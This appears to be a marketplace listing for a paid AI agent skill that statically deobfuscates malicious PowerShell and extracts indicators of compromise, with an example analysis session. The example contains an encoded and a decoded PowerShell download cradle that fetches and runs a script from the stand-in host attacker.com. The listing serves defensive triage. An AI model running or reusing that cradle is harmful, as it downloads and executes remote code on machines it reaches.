Works with the AI tools you already use
PowerShell Deobfuscator
Statically deobfuscate malicious PowerShell commands and extract IOCs without execution.
$4.99
PowerShell Deobfuscator
Example session with this skill installed
Analyze this command: powershell.exe -nop -w hidden -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AYQB0AHQAYQBjAGsAZQByAC4AYwBvAG0ALwBzAC4AcABzADEAJwApAA==
- Read your context and instructions
- Compiled the powershell deobfuscator
The provided command is a standard PowerShell download cradle. It has been statically decoded across 1 layer of Base64 encoding.
Deobfuscation Report
| Attribute | Details |
|---|---|
| Command | IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/s.ps1') |
| Transformations | Layer 1: UTF-16LE Base64 Decoding |
| Behavior | Remote script download and execution (Download Cradle) |
| MITRE ATT&CK | T1059.001 (PowerShell), T1105 (Ingress Tool Transfer) |
| IOCs Found | http://attacker.com/s.ps1 (URL), attacker.com (Domain) |
Script Breakdown
The script initializes a Net.WebClient object to fetch a secondary PowerShell script (s.ps1) from a remote server and immediately executes it in memory using the IEX (Invoke-Expression) alias. This bypasses the need to write the malicious file to disk, a common technique for avoiding file-based antivirus detection.
Next steps
- Block the domain
attacker.comat the network perimeter. - Search EDR logs for successful connections from
powershell.exeto this IP/URL. - Retrieve the content of
s.ps1for further analysis if the URL is still active.
Connects securely to your tools. The creator never sees your data.
About this skill
Malicious PowerShell scripts often hide their intent behind layers of encoding, string manipulation, and compression to bypass static analysis. This skill statically deobfuscates commands and script droppers to reveal their actual behavior without the risk of execution.
What it does
- Base64 decoding handles
-EncodedCommand(UTF-16LE) and nested Base64 strings. - Stream decompression extracts payloads from
IO.CompressionGzip and Deflate streams. - String reconstruction resolves
[char]arrays,-joinoperations, and-fformat-operator reordering. - Escape removal cleans backtick and caret escapes used to evade signature detection.
- IOC extraction pulls URLs, IP addresses, domains, and file paths from every layer of the script.
- Behavioral mapping identifies download cradles, AMSI bypasses, and persistence mechanisms.
How it works
- Input ingestion via file path, direct command string, or piped input.
- Iterative decoding to strip layers of obfuscation until the code reaches a stable state.
- Static analysis of the resulting script to identify malicious patterns and techniques.
- Report generation showing the final script, transformations applied, and extracted indicators.
Frameworks & tools
Uses a Python based static analysis engine specifically tuned for PowerShell syntax, IO.Compression libraries, and regex-based IOC extraction.
Why this beats prompting it yourself
Generic LLM prompts often hallucinate the output of complex nested loops or fail to correctly reorder -f formatted strings. This skill uses a systematic, multi-layer approach to ensure every transformation is captured and documented, providing a reliable audit trail for security analysts.
Use cases
- Alert triage for command lines flagged by EDR or SIEM systems.
- Email analysis to decode scripts found in malicious attachments or links.
- Incident response to map attacker behavior to the MITRE ATT&CK framework.
- Threat hunting by extracting IOCs from newly discovered samples.
Known limitations
Does not support dynamic decryption where keys are generated at runtime. In these cases, it identifies the blockage and recommends sandbox detonation.
How to use
Skills on Agensi run inside your AI agent. Copy the prompt, paste it into your agent, and it connects to Agensi and installs this skill for you. If a payment is needed, your agent shows it to you first.
Reviews
No reviews yet
Be one of the first to try it. Every listed skill passes our trust checks below.
Security scanned
Passed our 8-point scan before listing
Fresh listing
Recently published to Agensi
30-day refund
Not a fit? Get your money back
Trust & safety
Security scanned
Verified clean 1 day ago
- Passed all security checks, Safe to install